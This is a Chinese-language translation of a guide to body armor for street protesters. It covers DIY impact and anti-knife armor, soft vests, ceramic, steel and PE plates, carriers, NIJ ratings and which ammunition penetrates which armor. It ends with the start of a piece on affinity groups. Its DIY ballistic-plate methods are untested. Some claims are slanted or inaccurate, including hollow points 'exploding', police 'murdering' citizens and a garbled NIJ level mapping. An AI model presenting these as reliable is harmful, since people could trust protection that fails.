对于 “软” 层部分，闭孔泡沫通常是最好的东西。瑜伽垫材料通常是便宜而有效的。大型超市卖的露营垫的蓝色泡沫被那些自己制作运动装备的人认为是便宜的和好的材质。即使是包装泡沫也可以用。试着用喷胶，或者更好的是用胶浆来连接。

有人用以下方法免费制作定制盔甲。蓝色泡沫垫

📌 从垃圾箱里捡那些丢弃的旧床垫和5加仑的塑料桶，将桶切成与要覆盖的身体部位（大腿、胫骨、手臂等）大致匹配的条状物，然后将条状物放入烤箱中低温加热。注意温度，不要融化塑料 —— 只要把它软化 —— 就可以了。有些人喜欢用捡来的烤箱来做这个，而不是用自己煮食物的烤箱。同时，把床垫上的泡沫撕下来，然后用胶带暂时贴在要覆盖的身体部位。将塑料从烤箱中取出，然后在泡沫上成型，一旦冷却，就用喷胶或胶浆将泡沫贴在塑料内部。胶浆

对付刀子的盔甲

「图」

在制作DIY塑料防刀盔甲的实验中，我们发现任何坚硬的塑料板都会有实质性的防刀效果，但这种盔甲需要相当厚的塑料才能防刀。

一位测试者可以做到避免让刀子刺穿大多数塑料板，但另一位测试者

几乎能让刀子刺穿放在他们面前的每一块塑料板。不过，在混乱的斗殴中，大多数刺伤不会是全力的，硬塑料层即使不防刀，也能提供实质性的阻力。这种程度的保护仍然是割伤疼痛和刺破器官之间的区别。我们还没有对运动装甲进行专门的防刀和防撞击武器的测试。防刀割的袖套

中世纪盔甲

「图」

中世纪的盔甲一般都是按照与现代运动盔甲相同的原理设计的：硬壳下有衬垫。今天穿中世纪盔甲进行运动的人已经做了很多工作，将中世纪的盔甲更新为现代用途。其中大部分可以适应抗议中的使用。

钢制铠甲往往比塑料铠甲更重；它比塑料铠甲的主要优势是抗切割和抗砍伐。这对于那些希望保护自己不受钝性冲击的示威者来说不那么重要。

穿着和了解中世纪盔甲的两个现代团体是 “创意不合时宜协会”（SCA）和那些研究 “欧洲历史武术”（HEMA）的人。两者都倾向于穿戴钢铁和塑料盔甲的组合，但**SCA**特别开发了**DIY**塑料盔甲，旨在保护人体的各个部位。他们的设计很可能对示威者有效。

我们不能推荐钢制头盔，因为警方使用的冲击弹药的威力远大于古代冷兵器，钢制头盔的变形（凹陷）会危及佩戴者的生命安全。我们已经研究了这个假设，但还没有进行测试。

中世纪的盔甲也太吸睛了。如果您公开穿戴它，必然会引起注意。当然，无论是在历史上还是在现代，盔甲往往被设计得像衣服一样，或者穿在衣服下面。别看电影里面那些古人穿着闪闪发光的铁皮罐子到处跑，这种想法基本上是不符合历史的。

中世纪的盔甲并不是防弹的 —— 至少不是特别防弹的。为了有效地抵御子弹，钢铁必须至少有1/4英寸厚，并且由一种几乎难以加工的硬合金组成。2017年一位示威者反抗法院对警察和凶手有罪不罚

软甲

「图」

软甲背心比较轻，适合奔跑，隐蔽性好，对手枪子弹有效，对刀子也

有不同程度的效果。理想的情况是，您需要一件IIIA级的防弹衣，尽管II级防弹衣通常在剩余物资市场上更容易买到，而且聊胜于无。

II级可以防备一般的9毫米子弹，但不能防备枪支爱好者常用的“自卫”9毫米子弹。防弹衣经常很昂贵（有些可以用250美元左右的价格买到新的，但大多数要400美元以上）。二手的或剩余物资的防弹背心（通常仍然是200美元以上）可能会提供比新的更少的保护，虽然这是值得商榷的，也难以测试任何给定的背心。对于大多数担心手枪射击的示威者来说，软甲可能提供了保护、重量的优势和隐蔽性的最佳平衡。

软装甲采用多层坚固的塑料和内衬织物构成。每一层都能吸收子弹冲击力，直到最终被织物本身所吸收。

大多数软甲使用凯芙拉纤维，但 Dyneema 和 Spectra（超高分子量聚乙烯的品牌名称，另一种塑料纤维）是一种更新更强的材料，在各种类型的装甲中越来越常见。

这种原理在盔甲中已经使用了几千年。中世纪的 Gambeson 是一种由多层亚麻布制成的绗缝织物；虽然那些有能力这样做的人在其他盔甲下穿着它，但一些战斗人员—— 如起义的农民—— 单独穿着它。它对箭特别有效，因为分层织物特别擅长阻止穿透。

当您选择软背心时，必须在“环绕式”背心和只从正面或背面保护您的背心之间做出选择，“环绕式”背心有大面积的保护性插片，可以保护您的侧面以及您的前胸和后背，而“环绕式”背心的功能几乎与板式装甲相同，只是用软织物装甲代替了板子。除了价格之外，几乎在所有方面，环绕式防弹衣都是可取的—— 大多数最便宜的IIIA装甲只保护您的正面和背面。

和防弹板背心一样，软质背心通常有“隐蔽”和“公开”两种样式[见下文]。但由于软背心比背板的主要优点之一是可以隐藏，所以似乎没有什么理由考虑必需穿在外面的软背心。IIIa环绕式背心衬里

材料

「图」

软背心有两种不同类型的塑料纤维：芳纶和超高分子量聚乙烯。任何一种都不会错。芳纶纤维（如 凯芙拉）是一种略显老旧的技术；在相同的保护水平下，它们更重。而超高分子量聚乙烯纤维（如

Dyneema）是更精细、更新、更轻、更抗紫外线、但更不耐温度变化的纤维—— 这意味着当枪直接抵住背心时，它们不太能阻止“接触式”射击，因为纤维会熔化。关于这是否是一个重要的问题有一些争论。

芳纶纤维是防弹背心中最常见的塑料类型。最受欢迎的品牌是杜邦公司生产的凯芙拉纤维。芳纶纤维是第一种强度足以制作成防弹衣的材料。另一个用于装甲的芳纶纤维品牌是帝人芳纶（以前称为Twaron）。

芳纶纤维在紫外线照射下会分解。防弹衣的外壳一般可以保护它们不受影响。

超高分子量聚乙烯 (UHMWPE，有时简称PE) 是一种塑料纤维，越来越多地应用于各种类型的装甲。软质背心由分层织物制成；硬板常以它为背板或完全由它制成；现代军用头盔由它代替芳纶纤维制成。按重量计算，它的强度比芳纶纤维高，所以可以把盔甲做得稍薄、稍轻。

装甲中使用的超高分子量聚乙烯纤维最常见的两个品牌名称是Dyneema（DSM制造）和 Spectra（Honeywell制造）。

虽然超高分子量聚乙烯本身并不具备抗紫外线的能力，但它可以很容易地制造出来，而且被认为比凯芙拉的对紫外线稳定性大大提高。我们无法找到关于 Spectra 的可比信息，除了它被宣传为比许多其他纤维（可能包括芳纶）更耐紫外线之外。

超高分子量聚乙烯的熔点比芳纶低得多；有人猜测它会因此受热而降解。我们发现有一家制造商将他们的背心点燃整整一分钟，然后进行测试，发现它们能继续阻止子弹。同一家制造商还对他们的防弹衣进行了接触射击测试，尽管我们不知道是否所有超高分子量聚乙烯防弹衣都会产生同样的结果。

在任何情况下，一般不建议将任何含有超高分子量聚乙烯的软背心放在任何可能超过华氏180度的环境中；并且它们仍然被认为比芳纶纤维背心更容易在接触性射击中受害。

板式防弹装甲

「图」

如果您想保护自己不受步枪的伤害，背板几乎是唯一的办法。对于板式防弹装备，您需要两样东西：板子 —— 织物背心作为载具，用来装硬板。一般来说，您需要III级以上的板子，最好是陶瓷和PE（聚乙烯，通常是上面提到的UHMWPE）的组合。侧板很可能是矫枉过正了，不必要的重量和费用，四级板也是如此，它是保护性最强的装甲。

请注意，硬板表面上比其他形式的装甲更防刀，但公开穿戴的版式防弹衣非常明显，一个坚定的攻击者只会瞄准您没有保护的地方。

板式装甲只是为了保护您胸部最重要的区域，这个区域有时被称为“杀伤盒”。大多数枪手都被训练成瞄准“身体中心部位”，因为它是最大的目标，也提供了最多的漏洞。除了头部伤口外，身体其他地方的伤口不太可能杀死你，所以大多数装甲系统并不优先预防这些次级危害的伤口。

板式防弹装备和软背心一样有“隐蔽”和“公开”两种型号，隐蔽的设计在衣服下面穿着，公开的设计在外面穿着。

板材

「图」

先挑选板材，然后再为其搭配载具，这被认为是一种好的形式，不过您也可以按相反的顺序进行。

关于板材，有几件事需要考虑，包括材质、尺寸、切割和曲线。

1、材质

「图」

板材由一系列可以阻挡子弹的东西构成。这里将介绍软板、钢板、陶瓷板和PE板。

软板是由上面防弹衣一节中讨论的防弹布层层叠加而成的。如果您想寻求模块化，可以保留一对软板，当您想要一个更轻的装甲时，可以插入您的防弹板载具中 —— 就是专门携带防弹插板的轻量化背心，而不是硬板。

优点：轻巧，灵活。缺点：防护性差。

钢板是最常见的，但正在走向过时。钢板是钢质的，厚度约为0.25英寸。最常见的钢合金是AR500，是一种特别坚硬的钢。主要用于装甲、犁刀、建筑和采矿设备等。钢板每块很容易就有8、9斤重。(有一个装甲制造商就叫AR500，他们生产各种类型的装甲)。

现在钢板不太受欢迎了，因为陶瓷板的价格越来越实惠。钢板实质上更重。当从一定角度击中时，它们会导致子弹跳弹，并且能够导致“破碎”，即 细小的钢铁碎片会飞溅。垂直角度的飞溅是最主要的麻烦，因为它可能会朝您的脸飞去。

唯一值得考虑的钢板有“防飞溅涂层”，这通常是卡车上用的那种衬垫涂料相同的东西（如喷涂的 Rhino Liner），尽管我们相信一些制造商使用玻璃纤维套管代替。许多制造商提供了关于您希望涂层有多厚的选项。厚的涂层对前板比后板更重要。在出现更多的垂直飞溅之前，涂层通常会保护佩戴者免受两到三次撞击。

现在陶瓷板的价格已经很便宜了，钢板的主要优点是比陶瓷板更薄，在同一弹着点上更能承受更多的子弹。

陶瓷板有时被称为复合板，因为它们通常不完全由陶瓷制成。它们的工作原理是在撞击时分解，吸收大部分子弹的冲击力，然后由第二层阻止子弹的穿透力。曾经，这第二层通常由钢组成，但现在最常见的是聚乙烯。陶瓷板的重量一般在五到六磅之间，厚度在0.75英寸到1英寸之间，便宜的陶瓷板往往更厚更重。

按成本和功效递增的顺序，最常见的三种陶瓷是氧化铝、碳化硅和碳化硼。氧化铝需要更厚更重才能提供与碳化硼相同的保护能力，但价格却要便宜很多。买多套氧化铝板分发给朋友，可能比买一套只有自己才能戴的花哨轻巧的板子要更好，不过更薄的板子更容易隐藏。

有人担心陶瓷板可能会因为粗暴的操作而退化，但目前的观点是，这种担心被夸大了。

陶瓷板的一个危险是，为了节省成本和降低重量，大多数制造商沿着板子的边缘使用泡沫而不是陶瓷。这一点通常在项目描述中会提到。我们处理的一个板子的边缘有一整英寸的泡沫—— 把一个表面上是10×12” 的板子减少到 8×10” 的尺寸，完全有效—— 尽管PE在陶瓷下面轧边，它一般被认为是IIIA级的（足以阻止手枪子弹）。红星防务公司宣传的是轧边弹道陶瓷板。

推荐陶瓷板是因为它们实质上更轻，而且不存在飞溅的问题。然而，

它们将无法像钢板那样经受得住多次连续的射击，而且由于它们的刚性较差，它们更容易发生背面变形（凹陷），从而将更多的冲击力传递给佩戴者。您可以通过使用创伤垫来减轻这种危险，创伤垫本质上只是额外的填充物。多次冲击后的陶瓷板

PE（聚乙烯）板是完全由超高分子量聚乙烯制成的板材。与软装甲一样，它依靠多层薄板。与软甲不同的是，这些层是热合在一起的。当子弹击中板子时，它每次都会将每一层打散，这种分层每次都会吸收冲击力。因为这个过程会造成相当大的背部变形，所以大多数PE板都有一层泡沫作为内衬支撑。

PE板比其他硬板轻得多，通常不到三磅。它们在水中也具有浮力。但它们的厚度要大得多（1–1.25英寸），因此隐蔽性较差。最重要的是，我们还没有找到任何等级高于III级的板子 —— 似乎穿甲弹可以直接穿透塑料层。由于AR-15是美国最常见的步枪威胁，而一些可用的AR-15弹药选项可以穿透III级板，因此无法确保它们的安全性。

在您的国家也许不同。先了解下您的国家的镇压部队和暴徒最常使用的武器是什么型号的。

任何含有PE的硬装甲，如陶瓷或独立PE，都不应该暴露在华氏180度以上的温度下。UHMWPE板

2、尺寸

「图」

粗略的说，一块板子至少应该保护您从锁骨到肚脐上方几英寸，从一个乳头到另一个乳头。

有两个不同的尺寸标准在美国使用。我们称它们为民用和SAPI。

民用板是最容易遇到的，有8×10″、10×12” 和 11×14″三种尺寸。10×12” 的尺寸是最常见的。

SAPI（Small Arms Protective Insert）是军用保护板的缩写。SAPI板有一个非常特殊的切口（SAPI切口），但有五种不同的尺寸：特小号（7.25×11.5″）、小号（8.75×11.75″）、中号（9.5×12″）、大号（10.25×13.25″）和特大号（11×14″）。

测量板子尺寸的最佳方法是测量您的身体，然后选择最适合您身材的

板子尺寸。当然这不是牛仔裤，您可能无法获得所有可能的尺寸。差不多就行。一块完整的板子

3、切割

「图」

板子有很多不同的形状：全切割、SAPI、射手型和泳者型。这些之间的差别不大，每个切口（除了SAPI这个军用标准在外）都因厂家不同而不同。虽然大多数板子都是成对出售的，但其中很多是混搭的，一个普通的SAPI切割后板和一个较深的射手型切割前板。

全切割板基本上是矩形，四角被磨圆。它们并不常见，但可用于侧板或背板。它们可能不适合许多载具。

SAPI板是标准的军用硬板。他们有一个近45度角从顶部的每个部分切割。SAPI板效果比较好，能提供大量的覆盖面。实际的军用SAPI板不直接对外销售，但制造商以 “SAPI cut” 的方式销售板子。SAPI防护板 射手型

射手型的板与SAPI板类似，但边角处的切口略多。手臂上的切口角度是为了能更好的移动。射手型切口的防弹板

泳者型的切割板在远离顶角的地方有较深的切割，形成隐约的水滴形。这就牺牲了对流动性的保护。一些胸部较大或曲线玲珑的身材会觉得泳者型板子最舒服。泳者型钢板

4、曲线

「图」

板材可以有三种不同的曲线风格：平面、单曲线、多曲线。同样，每个品牌对这些都有自己的解释。

平板就是平的。大多数人不喜欢平板，虽然有些人戴着，特别是在后背上。有时候平板比较便宜。

单曲线板是最常见的。这些板子在垂直轴上是弯曲的，以便更好地包裹住您的躯干。

多曲线板以多种方式弯曲，以更好地适应制造商认为的大多数客户的

身体。这些通常是优选的，特别是对于胸部比较大或有啤酒肚的人。它们通常更贵。并非所有制造商都提供这种选择。这是多曲线板

单独使用与配合使用

「图」

我们讨论过的大多数防护板都是独立式的 (SA 或 STA) 。这些板子的设计是为了使其自身达到额定水平。

也有可能获得结合使用 (ICW) 板子。这些板子通常更薄更轻，但只有与 **IIIA** 软背心一起穿时才能发挥其额定水平。

后者的模块化系统有很多值得推荐的地方，但您必须采购一件带有插板的防弹软背心（通常比较贵），否则就需要在背心上穿一个板式载具。ICW板比较难遇到。整个系统可能会更贵。

这种样式曾经是比较流行的军用样式，因为它提供了更多的保护，但目前的趋势更倾向于机动性而不是保护，也就是更方便运动，军队似乎正在转向使用独立的板子。

创伤垫

「图」

买盔甲的时候，可能会遇到 “创伤垫”。这个词其实有两种不同的含义。在独立的防护板之前，ICW被称为 “创伤护垫” ，被插入防弹衣上的套子中，以增加其防弹等级。但现在，“创伤垫” 通常是您放在硬板后面的非防弹泡沫插片，以软化冲击的钝力创伤。

创伤垫的价值是有争议的。它们对陶瓷板似乎比钢板更重要。人们用瑜伽垫泡沫材质自制创伤垫的方法也越来越流行。

我们没有足够的信息来对这场争论的任何一方下定论，但可能值得去买或制作创伤垫，特别是如果您有陶瓷板的话。它对防治伤害的作用无法期待太多，有些人穿它们只是因为它们使能盔甲更舒适，尽管它们确实增加了费用和厚度。

自己动手制作防弹板

「图」

是可以制作DIY装甲板的。这可能是作为最后的手段才值得做。YouTube 是一个神奇的仙境，充满了人们测试各种DIY形式护甲的视频。有的很容易制作；有的则是劳动密集型的。有些是负担得起的；有些是比较贵的。我们没有亲自测试过DIY防弹衣，所以无法推荐，但在有些情况下，您需要装甲而又买不到的时候，DIY可能是唯一的办法。技不压身，多学点有好处。

我们见过两种常见的方法。第一种方法是将很多很多层的凯芙拉纤维（更好）或玻璃纤维（更便宜）与树脂复合在一起。这是劳动密集型的，而且不一定便宜，但它可以让您把板子做成各种形状。关于什么样的树脂效果最好，有点争议；有人认为，使用较少的树脂可以使板层在撞击时分层，吸收更多的冲击力，这一点令人信服。

第二种方法实质上更简单，而且通常更便宜，包括将陶瓷板—— 使用最硬的地板砖—— 与不同厚度的钢和橡胶分层结合。这种方法似乎可以做出更坚固的装甲，不易发生背部变形。有人认为，陶瓷马赛克地砖具有更好的抗冲击能力，也有人说单块较大的地砖能更好地吸收冲击力。氧化铝陶瓷板很容易采购，中国特别多。

有些人将这些不同的方法以各种方式结合起来。

有个人用牛奶罐和回收的高密度聚乙烯做了一块又厚又轻的板子，看起来大概是2级或3A级。

另一个人则证明了厚厚的超高分子量聚乙烯板作为装甲没有任何用处。

我们见过的最便宜、最奇怪的DIY板子是用一元店的廉价物品做成板子：装满石头和胶水的烤盘，用一本精装书作为弹片防护。这能阻止一些步枪子弹，但不是很多。

我们交谈过的一个人使用在废品收购站找到的适当强度和厚度的钢材切割钢板取得了一些成功。太硬的钢材会在撞击时破碎；太软的钢材会被穿透 —— 如果子弹真的穿透板子，可能会留下额外的锯齿状金属碎片。如果您要采取这种方法，获得足够的额外材料来测试这些板材绝对是至关重要的。您可以用角磨机将钢板切割成所需的形状。**DIY**钢板绝对应该有创伤垫的支持。

📌 如果可能的话，您应该买到工程良好、经过正确测试的装备。如果做不到这一点，最好自己对自己制作的装备进行彻底的测试。过程是这样的：

1) 广泛研究项目所涉及的核心概念，了解注意事项、潜在的失败点、和潜在的失败原因。

2) 制定一个您希望完成的最小可行的产品标准。

3) 确定最基本的测试条件，尽可能多的排除变量。

4) 开发初始原型。

5) 测试初始原型。

6) 拆解原型，以确定哪些是成功的，哪些是失败的，并确定失败的原因。

7) 利用测试中获得的知识建立下一个原型。

8) 重复进行。

9) 一旦您达到了最低限度的可行产品标准，就开始在更加苛刻的条件下进行测试 —— 不同的温度，使用不同的攻击形式，等等，以确定弹性和故障点。

对于这样的项目，请确保您有机会直接参与最终的制作流程，并且合作者知道如何安全有效地使用必要的工具。适当的工具将使生产和测试速度更快；它们还可以帮助确保标准化的结果。

载具

「图」

很多厂商会把载具和板子作为一套卖给您，这样您就可以直接用了。否则，您将不得不选择一个载具来安装您的板子。要注意挑选一个能接受您打算佩戴的特定尺寸和裁剪的板子载具。

载具一般由两部分组成：背心本身，套在您的头上，还有一个褡裢——连接您身体前后板的魔术贴带。

载具有两种主要样式，即 隐蔽式和公开式。*Slickster*，一种受欢迎的载具

隐蔽型装甲

「图」

隐蔽型的设计是为了提供在其他衣服里面穿戴的选择。它们往往没有那么多的小袋和环以及其他战术装备选项。对于抗议者来说，隐蔽式装甲可能是最好的选择。在宽松的黑色衣服下的隐藏它们不太可能被发现是防弹衣，特别是在黑暗中或大量的人群中。

📌 这有多个好处。首先，也许是最重要的就是，警察不太可能把您标记为一个麻烦制造者，否则警察很可能将您作为逮捕或其他暴力的目标。同样重要的是，持枪攻击者也不太可能针对您。对于枪支，隐蔽式装甲的主要论点之一是，训练有素的攻击者会首先瞄准已知的威胁。基本上，如果有人走进一家商店并开始射击，他们很可能会首先瞄准任何他们看到的持枪者。同样的原则也适用于盔甲：枪手更有可能认为穿戴盔甲的人是一种威胁，因此会首先瞄准这样的人。此外，如果枪手知道您穿着盔甲，他们可能会故意绕避您受保护的地方而向您没有保护的身体部位开枪。外穿的防弹衣是为士兵设计的，而特种部队（spec-ops）则更有可能因为上述原因穿上隐蔽的防弹背心。

您可以模块化地穿戴隐蔽型的防弹背心，可以选择换上额外的小袋和褡裢。

不幸的是，便宜的陶瓷板往往太厚，以至于隐蔽型穿戴的难度大大增加。如果隐蔽性是您的首要任务，可以考虑购买更贵、更薄的陶瓷板。虽然目前还不能推荐钢板，但那也是比较薄的。

公开型

「图」

相比之下，公开型装甲的设计是作为最外层的穿戴，并作为悬挂装备的平台。传统上，这意味着枪支，弹夹，通讯设备，急救用品，以及其他任何士兵需要的东西。我们不是士兵，我们是抗议者。

当然，对于某些人和某些目的来说，公开型的防弹背心仍然有其存在的价值。它们传递着好战和充分准备的信号，它们可以使盔甲的使用正常化。颜色鲜艳的公开型防弹背心经常被第一反应者和其他需要保护自己但又想表明自己是非战斗人员身份的人穿着。

另外，可以将装备挂在背带上，会很方便，比如无线电通讯设备和充当街头医生的救伤设备。一个公开型的防弹板载具

MOLLE和其他固定点

「图」

军事和战术装备通常很容易通过缝满织带的环状物来识别。这就是所谓的MOLLE(模块化轻量级携行装具)：一种军事系统，旨在允许各种附加的小袋、背包、护套等。

有些MOLLE是激光切割的，特别是在隐蔽的载具上：在最外层的织物上切割了槽，而不是用织带环。

钩扣（魔术贴）固定点在战术装备上也很常见，用于连接士气徽章甚至小袋。士气徽章贴片包括军队用来指定单位的各种徽章和标志，也是有战术意识的平民用来表达政治立场和亚文化归属的标志。

一些特定的制造商也使用其他样式的固定点。

对于大多数隐蔽防护板载具来说，固定点是不必要的。

DIY载具

「图」

对于任何一个有缝纫经验的人来说，制作防护板载具都是一件相当简单的事情，因为它本身并不是一个弹道产品。建议任何有志于制作载具的人都可以找一个简单的成品载具来仿制。

您可以用织带制作肩带，500D Cordura 似乎是背心本身最常用的面料。大多数指南建议每条缝线都要用双针或三针。

板子要装入前后垫的底部，一般用大方的钩扣固定。

装甲尺码

「图」

📌 如果您的防护板载具很合身，护甲上方应该在您的锁骨处。穿上护甲后，抬起手臂，扭动身躯，确保整个装甲能随身体移动，不能说您的身体在动，背心不动，那就太松了。深吸一口气，确保不会太紧，最多在肺部完全扩张时，应该感觉很紧。然后通过做一个跳跃动作或其他运动项目来测试是否合适，以确保载具上没有任何东西因为

您的运动而移动或脱落。适合不同体型的盔甲。

大多数装甲的设计都是为了适合体格健壮、运动型的男性。您离这一类别越远，您可能会在安装护甲方面有更多的麻烦。要获得小尺寸的盔甲和胸部比较大的体型的盔甲可能特别具有挑战性。

软质防弹衣的宽容度大大高于板式载具，但对于那些曲线较多的人来说，仍然可能不太舒服。一些盔甲制造商专门设计了适合曲线身材的软甲背心。虽然我们在eBay上看到了一些剩余物资的“女性”马甲，但这些马甲在低价位上不太可能找到。

一般来说，小号的防弹背心似乎很难在剩余物资市场上找到，因为这些剩余物资往往来自于警察部门，那些经过体能训练的家伙，体型比较大。

板式载具为有胸的人提供的选择就更少了。我们能够找到的最好的选择是买一个多曲线的泳者切割的前板，并穿上紧身运动胸罩或束胸。

同样，板子的尺寸也不会适合所有的人。似乎大多数大个子的人都会穿他们能穿的最大的板子（通常是11×14″），即使它覆盖的躯干依旧较少。

穿着防弹衣时中弹是什么情况

「图」

关于穿着防弹衣时中弹会对人体造成什么影响，有很多自相矛盾的信息。

📌 如果您穿着软甲时中弹，冲击力仍然会击中您，并会对您造成伤害，不过由于冲击力被分散在更大一些的区域上，所以伤害一般都是相对轻微的。根据一项研究，85%的人在穿着额定冲击力合适的防弹衣时中弹，没有受到伤害或受到轻微擦伤等轻伤。然而，一位急救人员说，他们治疗过的那些穿着防弹衣中弹后幸存下来的警察，形容就像被棒球棍全力击打那样。

防护板则完全是另一回事。穿着板甲时中枪，是否受伤和死亡是很有争议的。我们亲自和专家交流过，看到的测试和研究也是相互矛盾的。

在一般情况下，如果您穿着的装甲是为您所经历的冲击力额定的，您

不太可能遭受重大伤害。除非您失去平衡，否则您不太可能被击退或翻倒。特别是钢，能有效地将子弹的力量传递到大面积的表面，将传递给穿戴者的力量降到最低。陶瓷板装甲的变形比较明显，但这种影响可以通过创伤垫降到最低，它应该不会对穿戴者造成惨重的伤害。

然而，并不是所有情况都一样。人们在穿着盔甲时，当子弹击中他们时，确实会造成肋骨断裂和其他钝器型的伤害。

根据体重的不同，人们可能会经历不同的冲击。较大的钢板可以将冲击力分散到较大的区域。与防弹板覆盖有关的胸部解剖图

穿透率

「图」

弹道学是一个非常复杂的课题。我们与一些工程师和战术爱好者讨论了如何理解穿透的风险。

广义上讲，步枪的穿透力比手枪或霰弹枪要强得多。它们也被认为是更致命的 —— 虽然枪支暴力是一个高度政治化的主题，数据经常被歪曲以支持一种或另一种立场，而且我们发现关于根据口径宣称的杀伤力的报告是相互矛盾的。唯一的例外是.22口径的步枪，这种步枪常见于射杀小猎物和初学者，在穿透能力上比其他步枪更接近手枪。

装甲穿透力与整体威力（子弹传递给目标的动能）截然不同，整体威力与 “阻力”（中和威胁的能力）不同。📌 对于速度较快、“截面密度” 较大的子弹来说，穿透力较强 —— 也就是说，相对于其宽度来说，这种子弹更重。较细的子弹比相同质量的大子弹更锋利，穿透力更强。穿甲力和阻击力实际上是相互作用的：在撞击后出现蘑菇状或碎片的子弹会造成更严重的伤口，而更有效地保持形状的子弹则更可能穿透装甲。

大多数穿甲弹的工作原理是使用钢或其他坚硬的弹芯，这种弹芯比铅弹更能有效地承受冲击。在美国，这种弹药一般不向平民提供，但军队和警察都可以使用。这使得民兵团体和其他非国家行为者不太可能用这种弹药来对付示威者。它不被警方普遍使用的原因有很多：首先，它有更大的风险，可能会贯穿目标人，无意中击中其他人，这就是所谓的过度穿透；其次，中空弹（击中后会爆炸）对杀死非武装目标更有效，比如警方通常试图谋杀的普通公民。最常见的例外是7.62x54r钢芯子弹，它有显著的穿甲能力，50口径范围内的任何东西都可以穿透，但这种子弹不可能在抗议活动中遇到。

有两种子弹值得了解，因为平民可以获得，而且很可能被试图伤害示威者的非国家行为者携带。第一种是钢头(非钢芯)子弹，一般称为“绿头” 子弹。这些子弹是为军队设计的，在远距离上具有更高的准确性和穿透力，但它们在民用中也很常见，特别是在AR-15中。第二种是 “＋P” 风格的子弹，一般是9毫米—— 最常见的手枪子弹—— 虽然不是所有的9毫米子弹都是＋P。这些子弹不是为穿透装甲而设计的，而是装填了更多的火药，提供了更大的威力，因此具备更有效的穿透力。

这两种威胁都可以通过适当的和可用的防弹衣来阻止，比如本文推荐的。值得注意的是这些威胁本身，以便了解为什么您可能需要一个适当的装甲水平。较旧的和较便宜的软防护背心可能会阻止大多数9毫米子弹，但不能阻止枪支爱好者通常携带的＋P子弹。绿头子弹

防弹等级

「图」

装甲可以根据几种不同的标准进行测试，以确定其功效。对于在美国销售的产品，目前最常见的是国家司法研究所（NIJ）的标准，本文中一直使用的就是该标准。这些标准是以美国执法部门为中心设计的。许多其他国家都使用NIJ标准为平民提供的装甲。世界各地也有其他标准在使用。

美军不使用等级评定，而是提供必须达到一定门槛的特定装甲物品。这些测试并不是 “这种装甲能防手枪吗” 甚至不是 ”这种装甲能防9毫米手枪” 这么简单。这些评级指定的是具体的子弹，细致到它的成分是什么和装填的火药有多少。

同样，简而言之，如果您正在寻找软装甲，您应该希望它的评级是IIIA。如果您要找的是硬装甲，您应该希望它的等级至少要达到III＋，如果是为了保护您免受常见的钢头AR-15子弹的伤害，则要达到“III级特殊威胁” 。9毫米 Luger＋p 弹药

NIJ标准

「图」

NIJ标准会不时地进行修订。

当前标准

「图」

I级：这一级别不再是标准的一部分。它可以抵御一些.22lr(小型猎枪)子弹和.380acp(手枪子弹)。

IIa级：它可以抵御一些手枪子弹，包括一些9毫米、.40和.45的子弹。

II级：可以抵御更多的手枪子弹，包括9毫米以及一些.357子弹。

IIIa级：这可以防止几乎所有的手枪， 包括更多的.357子弹和.44 magnum子弹。

III级：这个级别的额定值可以阻止大多数 7.62x51mm 北约子弹，一种常见的军用子弹。它对AR-15的额定值不高，但可以阻止很多AR-15的子弹（5.56或.223，大致相同）。

IV级：这个级别的额定值可以阻挡30.06穿甲弹—— 二战时期的战斗步枪发射的子弹，这种子弹如今在狩猎中仍然很常见。

即将到来的标准

「图」

新的 NIJ 0101.07标准可能很快就会在某个时间点发布。此次修订将解决现行体系中的主要漏洞，如III＋填补的空白。它将用两个独立的类别取代数字系统：HG（手枪）和RF（步枪）。

HG将有两个级别HG1，它将映射到现有的II级，HG2，它将映射到现有的IIIA。RF将有三个级别，RF1将映射到现有的II级，RF2将填补目前III＋级的空缺，RF3将映射到现有的IV级。

防弹头盔

「图」

请在此阅读关于头盔的完整指南。

大多数防弹头盔的等级都是IIIa级，是用来阻挡手枪子弹的。一些较

新的军用头盔可以阻止一些步枪子弹，有时是从远距离的射击。还有一些头盔可以使用插片来增加头盔的防护等级，不过这些插片并不常用，因为大多数士兵似乎更喜欢减轻重量而不是额外的防护等级。

IIIA型玻璃遮板也可使用，这种遮板附在头盔上可以保护眼睛。这些面罩由厚厚的聚碳酸酯制成，与制造防弹玻璃所用的材质相同。

防弹盾牌

「图」

今后的文章中会更详细地介绍抗议盾牌，但值得一提的是防弹盾牌：旨在保护使用者免受枪击的盾牌。

大多数防弹盾牌的防护等级为IIIA级，用于手枪防护，或IV级，用于步枪防护。它们的重量从**15**到**40**磅不等。用普通盾牌的方式来挥舞它们是非常困难的。

虽然它们是警察的常用装备，但是它们一般不被军队或民兵使用，也不普遍适用于自卫或社区防卫情况。它们似乎主要用于突袭建筑物。防弹盾牌。如果您看到警察举着这玩意，您需要认识它的防御级别

关于防割伤的说明

「图」

防割手套和袖套是可以买到的，而且价格也很便宜，但它们一般是为商业厨房中偶然接触到锋利刀具而设计的。这些手套和袖套一般由芳纶（凯芙拉）或超高分子量聚乙烯（Dyneema）织物制成，但有些也含有编织的金属丝。

能抗切割并不意味着能抗刺伤。真正的抗切割袖套对于防御刀子的攻击是有用的，但我们所看到的测试并没有让我们相信目前的产品对于坚决的攻击者而不是工作场所的事故会有很大的帮助。

在美国，抗切割性是由ANSI标准的评分标准来衡量的，从A1到A9，而在欧盟，则是由CE/EN标准的评分标准来衡量的，从A-F（以前是1–5）。ANSI标准的抗切割性比CE/EN标准更高。愿我们活着看到更美好的未来

○□

A Demonstrator’s Guide to Body Armor

—— 未完待续 ——

原文

您需要真正的自己人-如何组成一个亲密团队：示威参与者指南（9） - iyouport

示威参与者指南

【2021年6月4日存档】组织是一门科学，行动是技能和智慧的综合爆发，协作是最好的武器，当每个人都能明白这个道理时，我们才有 TheNextStep

---

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《认识警棍，危害能力和防御方法：示威参与者指南（1）》
- 《脑袋是人最大的弱点—了解头盔和使用技巧：示威参与者指南（2）》
- 《抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）》
- 《如何处理枪伤：示威参与者指南（4）》
- 《从雨伞到激光、气球到电动工具：示威参与者指南（5）；战术器具汇总》
- 《警用武器常见伤害及基本处理方法：示威参与者指南（6）》
- 《充分利用大规模逮捕：示威参与者指南（7）》
- 《了解防弹衣：示威参与者指南（8）》

在 “行动主义” 系列和 “整体安全” 教程中，我们多次提到：您需要真正的自己人 —— 亲密团队，不论发生什么，都能站在一起共同战斗的队友。尤其是，协调性和对彼此的了解让你们可以很默契地行动。

亲密团队是什么、不是什么

「图」

1、亲密团队不是酒肉朋友 —— 酒肉朋友是只能用来享乐的，而很难期待共患难。

